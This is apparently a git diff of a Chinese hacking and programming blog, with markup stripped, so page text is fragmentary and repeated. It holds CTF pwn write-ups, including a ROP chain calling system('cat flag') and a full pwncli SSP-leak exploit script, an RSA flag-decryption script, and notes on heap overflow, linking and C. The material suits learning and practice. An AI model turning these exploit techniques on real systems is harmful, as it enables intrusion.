+document.addEventListener("pjax:complete", reset);reset()})

2024源鲁杯


pwn

week1

giaopwn

64位无脑栈溢出,通过vuln中的read函数像buf中写入大量数据,超出buf变量的长度导致rbp和返回地址被覆盖。

通过栈溢出漏洞劫持执行流,通过pop_rdicat flag字符串弹入rdi寄存器作为system参数,然后返回执行system函数。

加的ret指令是为了栈平衡。

exp

@@ -85,4 +85,4 @@

ezfmt

< -

week2

week3

re

week1

week2

week3

\ No newline at end of file +

week2

week3

re

week1

week2

week3

\ No newline at end of file diff --git a/2024/10/26/csapp/csapp-2/index.html b/2024/10/26/csapp/csapp-2/index.html index 53ab93b6e..75b8d2a19 100644 --- a/2024/10/26/csapp/csapp-2/index.html +++ b/2024/10/26/csapp/csapp-2/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

《CSAPP》chapter2 信息的表示和处理


信息存储

大多数计算机使用8位的块,或者字节(byte),作为最小的可寻址的内存单位,而不是访问内存中单独的位。机器级程序将内存视为一个非常达的字节数组,称为虚拟内存。内存的每个字节都由一个唯一的数字来标识,称为它的地址,所有可能地址的集合就称为虚拟地址空间

+document.addEventListener("pjax:complete", reset);reset()})

《CSAPP》chapter2 信息的表示和处理


信息存储

大多数计算机使用8位的块,或者字节(byte),作为最小的可寻址的内存单位,而不是访问内存中单独的位。机器级程序将内存视为一个非常达的字节数组,称为虚拟内存。内存的每个字节都由一个唯一的数字来标识,称为它的地址,所有可能地址的集合就称为虚拟地址空间

C语言中一个指针的值(无论它指向一个整数、一个结构或是某个其他程序对象)都是某个存储块的第一个字节的虚拟地址。

@@ -390,4 +390,4 @@

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/26/link_load_lib/link-load-lib-2/index.html b/2024/10/26/link_load_lib/link-load-lib-2/index.html index fdd386389..83f22c35f 100644 --- a/2024/10/26/link_load_lib/link-load-lib-2/index.html +++ b/2024/10/26/link_load_lib/link-load-lib-2/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

《链接、装载与库》chapter2 编译和链接


被隐藏了的过程

C 语言中的Hello World!程序所有程序员都可以写出来并用 gcc 编译程序。

+document.addEventListener("pjax:complete", reset);reset()})

《链接、装载与库》chapter2 编译和链接


被隐藏了的过程

C 语言中的Hello World!程序所有程序员都可以写出来并用 gcc 编译程序。

事实上,上述编译过程可以分解为 4 个步骤,分别是预处理(Prepressing)编译(Compilation)汇编(Assembly)链接(Linking)

image-20240409185603325

预编译

首先是源代码文件和相关的头文件,如 stdio.h 等被预编译器 cpp 预编译成一个 .i 文件。

@@ -235,4 +235,4 @@

由于在编译目标文件 B 的时候,编译器并不知道变量 var 的目标地址,所以编译器在没法确定地址的情况下,将这条 mov 指令的目标地址置为0,等待链接器在将目标文件 A 和 B 链接起来的时候再将其修正。我们假设 A 和 B 链接后,变量 var 的地址确定下来 0x1000,那么链接器将会把这个指令的目标地址部分修改成 0x10000。这个地址的修正的过程也被叫做重定位(Relocation),每个要被修正的地方叫一个重定位入口(Relocation Entry)。重定位所做的就是给程序中每个这样的绝对地址引用的位置 “打补丁”,使它们指向正确的地址。

-

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/26/link_load_lib/link-load-lib-3/index.html b/2024/10/26/link_load_lib/link-load-lib-3/index.html index d258941e3..ea2106ebc 100644 --- a/2024/10/26/link_load_lib/link-load-lib-3/index.html +++ b/2024/10/26/link_load_lib/link-load-lib-3/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

《链接、装载与库》chapter3 目标文件里有什么


编译器编译源代码后生成的文件叫做目标文件,那么目标文件里面到底存放的是什么呢?或者我们的源代码在经过编译以后是怎么存储的?

+document.addEventListener("pjax:complete", reset);reset()})

《链接、装载与库》chapter3 目标文件里有什么


编译器编译源代码后生成的文件叫做目标文件,那么目标文件里面到底存放的是什么呢?或者我们的源代码在经过编译以后是怎么存储的?

目标文件从结构上讲,它是已经编译后的可执行文件格式,只是还没有经过链接的过程,其中可能有些符号或有些地址还没有被调整。其实它本身就是按照可执行文件格式存储的,只是跟真正的可执行文件在结构上稍有不同。

可执行文件格式涵盖了程序的编译、链接、装载和执行的各个方面。了解它的结构并深入刨析它对于认识系统、了解背后的机理大有好处。

目标文件的格式

现在 PC 平台流行的可执行文件格式(Executable) 主要是 Windows 下的 PE(Portable Executable)和 Linux 的 ELF(Executable Linkable Format),它们都是 COFF(Common file format)格式的变种。目标文件就是源代码编译后但未执行链接的那些中间文件(Windows的.obj和Linux下的.o),它跟可执行文件的内容与结构很相似,所以一般可执行文件格式一起采用一种格式存储。从广义上看,目标文件与可执行文件的格式其实几乎是一样的,所以我们可以广义地将目标文件与可执行文件看成是一种类型的文件,在 Windows 下,我们可以统称它们为 PE-COFF 文件格式。在 Linux 下,我们可以将它们统称为 ELF 文件。其他不太常见的可执行文件格式还有 Intel/Microsoft 的 OMF(Object Module Format)、Unix a.out 格式和 MS-DOS .COM 格式等。

@@ -338,4 +338,4 @@

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/26/pwn/ptmalloc2/p1/index.html b/2024/10/26/pwn/ptmalloc2/p1/index.html index db17d9994..816a11d4f 100644 --- a/2024/10/26/pwn/ptmalloc2/p1/index.html +++ b/2024/10/26/pwn/ptmalloc2/p1/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

Ptmalloc2内存管理分析 基础知识


x86 平台 Linux 进程内存布局

Linux 系统在装载 elf 格式的文件时,会调用 loader 把可执行文件中的各个段依次载入到从某一地址开始的空间中(载入地址取决 link editor(ld)和机器位数,在 32 位机器上是 0x8048000,即 128M 处。前提是没有pie保护)。

+document.addEventListener("pjax:complete", reset);reset()})

Ptmalloc2内存管理分析 基础知识


x86 平台 Linux 进程内存布局

Linux 系统在装载 elf 格式的文件时,会调用 loader 把可执行文件中的各个段依次载入到从某一地址开始的空间中(载入地址取决 link editor(ld)和机器位数,在 32 位机器上是 0x8048000,即 128M 处。前提是没有pie保护)。

如下图所示,以 32 位机器为例,首先被载入的是.text段,然后是.data 段,最后是.bss段。这可以看作是程序的开始空间。程序所能访问的最后的地址是 0xbfffffff,也就是到 3G 地址处,3G 以上的 1G 空间是内核使用的,应用程序不可以直接访问。应用程序的堆栈从最高地址处开始向下生长,.bss段与堆栈直接的空间是空闲的,空闲空间被分成两部分,一部分为 heap,一部分为 mmap 映射区域,mmap 映射区域一般从 TASK_SIZE/3 的地方开始,但在不同的 Linux 内核和机器上,mmap 区域的开始位置一般是不同的。Heap 和 mmap 区域都可以供用户自由使用,但是它在刚开始的时候并没有映射到内存空间内,是不可访问的。在向内核请求分配该空间之前,对这个空间的访问会导致 segmentation fault 。用户程序可以直接使用系统调用来管理 heap 和 mmap 映射区域,但更多的时候程序都是使用 C 语言提供的 malloc() 和 free() 函数来动态的分配和释放内存。Stack 区域是唯一不需要映射,用户却可以访问的内存区域,这也是利用堆栈溢出进行攻击的基础。

32位模式下进程内存经典布局

这种布局是 Linux 内核 2.6.7 以前的默认进程内存布局形式,mmap 区域与栈区域相对增长,这意味着堆只有 1GB 的虚拟空间可以使用,继续增长就会进入 mmap 映射区域,这显然不是我们想要的。这是由于 32 模式地址空间限制造成的,所以内核引入了另一种虚拟地址空间的布局形式,将在后面介绍。但对于 64 位系统,提供了巨大的虚拟地址空间,这种布局就相当好。

@@ -88,4 +88,4 @@

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
start:映射区的开始地址
length:映射区的长度

prot:期望的内存保护标志,不能与文件的打开模式冲突。是以下的某个值,可以通过 or 运算合理地组合在一起。Ptmalloc 中主要使用了如下的几个标志:
PROT_EXEC
页内容可以被执行,ptmalloc 中没有使用
PROT_READ
页内容可以被读取,ptmalloc 直接用 mmap 分配内存并立即返回给用户时设置该标志
PROT_WRITE
页内容可以被写入,ptmalloc 直接用 mmap 分配内存并立即返回给用户时设置该标志
PROT_NONE
页不可访问,ptmalloc 用 mmap 向系统 “批发” 一块内存进行管理时设置该标志

flags:指定映射对象的类型,映射选项和映射页是否可以分享。它的值可以是一个或者多个以下位的组合体
MAP_FIXED
使用指定的映射起始地址,如果由 start 和 len 参数指定的内存区重叠于现存的映射区域,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。Ptmalloc 在回收从系统中 “批发” 的内存时设置该标志
MAP_PRIVATE
建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。Ptmalloc 每次调用 mmap 都设置该标志。
MAP_NORESERVE
不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。Ptmalloc 向系统 “批发” 内存块时设置该标志。
MAP_ANONYMOUS
匿名映射,映射区不与任何文件关联。Ptmalloc 每次调用 mmap 都设置该标志。

fd:有效的文件描述词。如果 MAP_ANONYMOUS 被设定,为了兼容问题,其值应为-1
offset:被映射对象内容的起点。
-

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/27/program/android/and-1/index.html b/2024/10/27/program/android/and-1/index.html index 7bb88a8ab..abbc68e7b 100644 --- a/2024/10/27/program/android/and-1/index.html +++ b/2024/10/27/program/android/and-1/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

Android chapter1


+document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/27/program/c/c-ptr-2/index.html b/2024/10/27/program/c/c-ptr-2/index.html index 90d71d027..c086065a8 100644 --- a/2024/10/27/program/c/c-ptr-2/index.html +++ b/2024/10/27/program/c/c-ptr-2/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

C chapter2 数据


基本数据类型

在 C 语言中,仅有 4 种基本数据类型——整型、浮点型、指针和聚合类型(如数组和结构等)。所有其他的类型都是从这 4 种基本类型的某种组合派生而来。

+document.addEventListener("pjax:complete", reset);reset()})

C chapter2 数据


基本数据类型

在 C 语言中,仅有 4 种基本数据类型——整型、浮点型、指针和聚合类型(如数组和结构等)。所有其他的类型都是从这 4 种基本类型的某种组合派生而来。

整型

整型包括字符、短整型和长整型,它们都分为有符号(singed)无符号(unsigned) 两种版本。

长整型至少应该和整型一样长,而整型至少应该和短整型一样长。

@@ -330,4 +330,4 @@

static关键字

当用于不同的上下文环境时,static 关键字具有不同的意思。

当它用于函数声明时,或用于代码块之外的变量声明时,static 关键字用于修改标识符的链接属性,从 external 改为 internal,但标识符的存储类型和作用域不受影响。用这种方式声明的函数或变量只能在声明它们的源文件种访问。

当它用于代码块内部的变量声明时,static 关键字用于修改变量的存储类型,从自动变量修改为静态变量,但变量的链接属性和作用域不受影响。用这种方式声明的变量在程序执行之前创建,并在程序的整个执行期间一直存在,而不是每次在代码块开始执行时创建,在代码块执行完毕后销毁。即存储在数据段而不是堆栈。

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/27/program/c/c-ptr-3/index.html b/2024/10/27/program/c/c-ptr-3/index.html index e58801826..9e5ba4ea7 100644 --- a/2024/10/27/program/c/c-ptr-3/index.html +++ b/2024/10/27/program/c/c-ptr-3/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

C chapter3 语句


空语句

C 最简单的语句就是空语句,它本身只包含一个分号。空语句本身并不执行任何任务,但有时还是有用的。它所适用的场合就是语法要求出现一条完整的语句,但并不需要它执行任何任务。

+document.addEventListener("pjax:complete", reset);reset()})

C chapter3 语句


空语句

C 最简单的语句就是空语句,它本身只包含一个分号。空语句本身并不执行任何任务,但有时还是有用的。它所适用的场合就是语法要求出现一条完整的语句,但并不需要它执行任何任务。

表达式语句

C 并不存在专门的 “赋值语句”,它通过表达式进行赋值。
只需要在表达式后面加上一个分号,就可以把表达式转变为语句。

1
2
x=y+3;
ch=getchar();

实际上是表达式语句,而不是赋值语句。

@@ -123,4 +123,4 @@

注意:goto需要谨慎使用。

-

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/27/program/c/c-ptr-4/index.html b/2024/10/27/program/c/c-ptr-4/index.html index 20594b2a5..bd86598fe 100644 --- a/2024/10/27/program/c/c-ptr-4/index.html +++ b/2024/10/27/program/c/c-ptr-4/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

C chapter4 操作符和表达式


操作符

算术操作符

C提供了所有常用的算术操作符:

+document.addEventListener("pjax:complete", reset);reset()})

C chapter4 操作符和表达式


操作符

算术操作符

C提供了所有常用的算术操作符:

1
+ - * / %

除了%操作符,其余几个操作符都是即适用于浮点类型又适用于整数类型。当/操作符的两个操作数都是整数时,它执行整除运算,在其他情况下则执行浮点数除法。%取模操作符,它返回余数。

@@ -160,4 +160,4 @@

优先级和求值的顺序

两个相邻的操作符的执行顺序由它们的优先级决定。如果它们的优先级相同,它们的执行顺序由它们的结合性决定。除此之外,编译器可以自由决定使用任何顺序对表达式进行求值,只要它不违背逗号、&&||?:操作符所施加的限制。

换句话说,表达式中操作符的优先级只决定表达式的各个组成部分在求值过程中如何进行聚组。

-

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/27/program/cpp/cpp-3/index.html b/2024/10/27/program/cpp/cpp-3/index.html index 4279f34da..ebcf09d48 100644 --- a/2024/10/27/program/cpp/cpp-3/index.html +++ b/2024/10/27/program/cpp/cpp-3/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

C++ chapter3 标准库类型


除了这些在语言中定义的类型外,C++标准库还定义了许多更高级的抽象数据类型(abstract data type)。之所以说这些标准库类型是更高级的,是因为其中反映了更复杂的概念;之所以说它们是抽象的,是因为我们在使用时不需要关心它们是如何表示的,只需指定这些抽象数据类型支持哪些操作就可以了。

+document.addEventListener("pjax:complete", reset);reset()})

C++ chapter3 标准库类型


除了这些在语言中定义的类型外,C++标准库还定义了许多更高级的抽象数据类型(abstract data type)。之所以说这些标准库类型是更高级的,是因为其中反映了更复杂的概念;之所以说它们是抽象的,是因为我们在使用时不需要关心它们是如何表示的,只需指定这些抽象数据类型支持哪些操作就可以了。

两种最重要的标准库类型是stringvectorstring类型支持长度可变的字符串,vector可用于保存一组指定类型的对象。说它们重要,是因为它们在C++定义的级别类型基础上作了一些改进。

另一种标准库类型提供了更方便和合理有效的语言级的抽象设施,它就是bitset类。通过这个类可以把某个值当作位的集合来处理。与位操作符相比,bitset类提供操作位更直接的方法。

命名空间的using声明

在前面看到的程序都是通过直接说明名字来自std命名空间,来引用标准库中的名字。这些名字都使用了::操作符,该操作符是作用域操作符。它的含义是右操作数的名字可以在左操作数的作用域中找到。因此,std::cin的意思是说所需名字cin是在命名空间std中定义的。显然,这样这样非常麻烦。

@@ -581,4 +581,4 @@

\ No newline at end of file +
\ No newline at end of file diff --git "a/2024/10/27/\345\255\246\344\271\240\345\221\250\346\212\245/index.html" "b/2024/10/27/\345\255\246\344\271\240\345\221\250\346\212\245/index.html" index 739a22399..abb9c915e 100644 --- "a/2024/10/27/\345\255\246\344\271\240\345\221\250\346\212\245/index.html" +++ "b/2024/10/27/\345\255\246\344\271\240\345\221\250\346\212\245/index.html" @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

学习周报


-

学习周报


+
@@ -73,4 +73,4 @@
-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/28/pwn/heap/heap-overflow/index.html b/2024/10/28/pwn/heap/heap-overflow/index.html index 90a6c204d..ba0a4e761 100644 --- a/2024/10/28/pwn/heap/heap-overflow/index.html +++ b/2024/10/28/pwn/heap/heap-overflow/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

堆溢出


介绍

堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块。

+document.addEventListener("pjax:complete", reset);reset()})

堆溢出


介绍

堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据溢出,并覆盖到物理相邻的高地址的下一个堆块。

不难发现,堆溢出漏洞发生的基本前提是

  • 程序向堆上写入数据。
  • @@ -208,4 +208,4 @@

    例题后言

    ctf-wiki

    -
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/11/01/pwn/bypass/ssp/index.html b/2024/11/01/pwn/bypass/ssp/index.html index 35e83013a..e1722d2ff 100644 --- a/2024/11/01/pwn/bypass/ssp/index.html +++ b/2024/11/01/pwn/bypass/ssp/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

SSP Leak


原理

简介

Stack Smashing Protector (SSP) 是一种防范栈溢出漏洞的机制,最初在1998年由 StackGuard 引入 GCC。后来,RedHat 将其发展为 ProPolice,提供了 -fstack-protector-fstack-protector-all 编译选项。SSP 的核心目标是检测栈上的 canary 值是否被篡改,从而增强程序的安全性。

+document.addEventListener("pjax:complete", reset);reset()})

SSP Leak


原理

简介

Stack Smashing Protector (SSP) 是一种防范栈溢出漏洞的机制,最初在1998年由 StackGuard 引入 GCC。后来,RedHat 将其发展为 ProPolice,提供了 -fstack-protector-fstack-protector-all 编译选项。SSP 的核心目标是检测栈上的 canary 值是否被篡改,从而增强程序的安全性。

SSP Leak 则是利用 SSP 机制进行攻击的一种技术。通过破坏 canary 值,攻击者可以触发程序的异常处理流程,并利用该过程泄露信息。

在CTF Wiki中将这种利用技术称为 Stack Smash,并将其归类为花式栈溢出的一部分。这表明,SSP Leak 是栈溢出攻击的一种高级形式。

SSP工作原理

    @@ -193,4 +193,4 @@

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    #!/usr/bin/env python3
    from pwncli import *
    from LibcSearcher import *
    cli_script()

    io: tube = gift.io
    elf: ELF = gift.elf

    payload=b'a'*0x128+p64(elf.got.puts)

    sla("flag\n",payload)

    puts_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
    print("puts",hex(puts_addr))
    libc=LibcSearcher("puts",puts_addr)
    base=puts_addr-libc.dump("puts")
    environ=base+libc.dump("__environ")
    print("environ",hex(environ))

    payload=b'a'*0x128+p64(environ)
    sl(payload)

    environ_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
    print("environ",hex(environ_addr))

    payload=b'a'*0x128+p64(environ_addr-0x168)
    sl(payload)
    ia()
    -

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/11/03/rev/rsa/index.html b/2024/11/03/rev/rsa/index.html index b9b77fa6f..11fba448b 100644 --- a/2024/11/03/rev/rsa/index.html +++ b/2024/11/03/rev/rsa/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

RSA加密算法分析


简介

RSA加密算法属于公钥加密算法或非对称加密算法,是目前使用最广泛的公钥密码算法之一,以其高安全性而著称。

+document.addEventListener("pjax:complete", reset);reset()})

RSA加密算法分析


简介

RSA加密算法属于公钥加密算法或非对称加密算法,是目前使用最广泛的公钥密码算法之一,以其高安全性而著称。

算法原理

RSA加密算法原理包括密钥生成、加密和解密三个主要步骤。

密钥生成

  1. 选择两个大质数:$p$ 和 $q$。
  2. @@ -103,4 +103,4 @@

    例题e=65537n(将模数转换为十进制)

    通过工具yafu分解模数来得到p和q。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    import gmpy2
    import rsa

    #公钥指数
    e=65537
    #RSA模数,是两个指数p和q的乘积
    n=86934482296048119190666062003494800588905656017203025617216654058378322103517
    #p和q是RSA的两个质数因子
    p=285960468890451637935629440372639283459
    q=304008741604601924494328155975272418463

    #计算phin,phin是n的欧拉函数值
    phin=(q-1)*(p-1)

    #计算私钥指数d
    d=gmpy2.invert(e,phin)

    #使用计算出的值创建RSA私钥对象
    key=rsa.PrivateKey(n,e,int(d),p,q)

    with open("./flag.enc","rb+") as f:
    f=f.read()
    flag=rsa.decrypt(f,key)
    print(flag)
    -

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/11/04/llm/llm-principle/index.html b/2024/11/04/llm/llm-principle/index.html index edf991a71..cc42edf94 100644 --- a/2024/11/04/llm/llm-principle/index.html +++ b/2024/11/04/llm/llm-principle/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

大模型原理


+document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/11/07/wp/buu/chapter1/index.html b/2024/11/07/wp/buu/chapter1/index.html index d5614d965..2c81d684e 100644 --- a/2024/11/07/wp/buu/chapter1/index.html +++ b/2024/11/07/wp/buu/chapter1/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

BUUCTF pwn wp


前言

+document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/11/24/wp/geek/index.html b/2024/11/24/wp/geek/index.html new file mode 100644 index 000000000..fa5875967 --- /dev/null +++ b/2024/11/24/wp/geek/index.html @@ -0,0 +1,62 @@ +geek | 南行

geek


\ No newline at end of file diff --git a/2024/11/24/wp/pcb/index.html b/2024/11/24/wp/pcb/index.html new file mode 100644 index 000000000..b7e3655d7 --- /dev/null +++ b/2024/11/24/wp/pcb/index.html @@ -0,0 +1,62 @@ +pcb | 南行

pcb


\ No newline at end of file diff --git a/2024/11/24/wp/qwb/index.html b/2024/11/24/wp/qwb/index.html new file mode 100644 index 000000000..09cf40d9d --- /dev/null +++ b/2024/11/24/wp/qwb/index.html @@ -0,0 +1,62 @@ +qwb | 南行

qwb


\ No newline at end of file diff --git a/2024/11/24/wp/wdb/index.html b/2024/11/24/wp/wdb/index.html new file mode 100644 index 000000000..7e6591a97 --- /dev/null +++ b/2024/11/24/wp/wdb/index.html @@ -0,0 +1,62 @@ +wdb | 南行

wdb


\ No newline at end of file diff --git a/about/index.html b/about/index.html index 300c7ae0c..58c227590 100644 --- a/about/index.html +++ b/about/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

about


南行

花名南行(nanhang),名字的由来是南太行山的意思,因为那里是我的故乡。这也算是对故乡的一个纪念。

+document.addEventListener("pjax:complete", reset);reset()})

about


南行

花名南行(nanhang),名字的由来是南太行山的意思,因为那里是我的故乡。这也算是对故乡的一个纪念。

所以称呼我南行就行。

技术栈

编程主要以c和cpp为主,业余go安全开发。

现正学习安卓逆向,所以也懂一点java。

@@ -73,4 +73,4 @@

版权注:若只是引用学习笔记中的内容,只需要在文章内附带原文链接即可。

所有学习笔记均采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。其他内容请务必联系管理员详谈。

网站大多插图均来自网络,侵删致歉

-

\ No newline at end of file +
\ No newline at end of file diff --git a/archives/2024/10/index.html b/archives/2024/10/index.html index ebca10577..5993561ee 100644 --- a/archives/2024/10/index.html +++ b/archives/2024/10/index.html @@ -1,4 +1,4 @@ -文章: 10/2024: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/10/page/2/index.html b/archives/2024/10/page/2/index.html index 1f502ffd4..81a50cca1 100644 --- a/archives/2024/10/page/2/index.html +++ b/archives/2024/10/page/2/index.html @@ -1,4 +1,4 @@ -文章: 10/2024: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/10/page/3/index.html b/archives/2024/10/page/3/index.html index 63c387211..66d9ad1ba 100644 --- a/archives/2024/10/page/3/index.html +++ b/archives/2024/10/page/3/index.html @@ -1,4 +1,4 @@ -文章: 10/2024: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/10/page/4/index.html b/archives/2024/10/page/4/index.html index f8f8c5904..8babb3aeb 100644 --- a/archives/2024/10/page/4/index.html +++ b/archives/2024/10/page/4/index.html @@ -1,4 +1,4 @@ -文章: 10/2024: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/10/page/5/index.html b/archives/2024/10/page/5/index.html index f44a4828d..ee5039979 100644 --- a/archives/2024/10/page/5/index.html +++ b/archives/2024/10/page/5/index.html @@ -1,4 +1,4 @@ -文章: 10/2024: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/10/page/6/index.html b/archives/2024/10/page/6/index.html index 41fba852c..95a2056db 100644 --- a/archives/2024/10/page/6/index.html +++ b/archives/2024/10/page/6/index.html @@ -1,4 +1,4 @@ -文章: 10/2024: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/10/page/7/index.html b/archives/2024/10/page/7/index.html index 79711e455..3d42eb7ef 100644 --- a/archives/2024/10/page/7/index.html +++ b/archives/2024/10/page/7/index.html @@ -1,4 +1,4 @@ -文章: 10/2024: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/11/index.html b/archives/2024/11/index.html index 08d0fae8a..0eb8f6686 100644 --- a/archives/2024/11/index.html +++ b/archives/2024/11/index.html @@ -1,4 +1,4 @@ -文章: 11/2024: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/index.html b/archives/2024/index.html index 6ec720fd5..5c03792d3 100644 --- a/archives/2024/index.html +++ b/archives/2024/index.html @@ -1,4 +1,4 @@ -文章: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/page/2/index.html b/archives/2024/page/2/index.html index 7d5922240..6f6ed6719 100644 --- a/archives/2024/page/2/index.html +++ b/archives/2024/page/2/index.html @@ -1,4 +1,4 @@ -文章: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/page/3/index.html b/archives/2024/page/3/index.html index f0fdc2d06..c57e4e497 100644 --- a/archives/2024/page/3/index.html +++ b/archives/2024/page/3/index.html @@ -1,4 +1,4 @@ -文章: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/page/4/index.html b/archives/2024/page/4/index.html index 4ad1feee2..e7e2a87cf 100644 --- a/archives/2024/page/4/index.html +++ b/archives/2024/page/4/index.html @@ -1,4 +1,4 @@ -文章: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/page/5/index.html b/archives/2024/page/5/index.html index 47d5a6447..5f7c8dd6a 100644 --- a/archives/2024/page/5/index.html +++ b/archives/2024/page/5/index.html @@ -1,4 +1,4 @@ -文章: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/page/6/index.html b/archives/2024/page/6/index.html index a8330c238..a9c9fe20c 100644 --- a/archives/2024/page/6/index.html +++ b/archives/2024/page/6/index.html @@ -1,4 +1,4 @@ -文章: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/page/7/index.html b/archives/2024/page/7/index.html index 009612827..3f392c4f8 100644 --- a/archives/2024/page/7/index.html +++ b/archives/2024/page/7/index.html @@ -1,4 +1,4 @@ -文章: 2024 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/2024/page/8/index.html b/archives/2024/page/8/index.html new file mode 100644 index 000000000..a78147ef9 --- /dev/null +++ b/archives/2024/page/8/index.html @@ -0,0 +1,62 @@ +Archives: 2024 | 南行
\ No newline at end of file diff --git a/archives/index.html b/archives/index.html index 39ab5da56..0c0e6b5d2 100644 --- a/archives/index.html +++ b/archives/index.html @@ -1,4 +1,4 @@ -文章 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
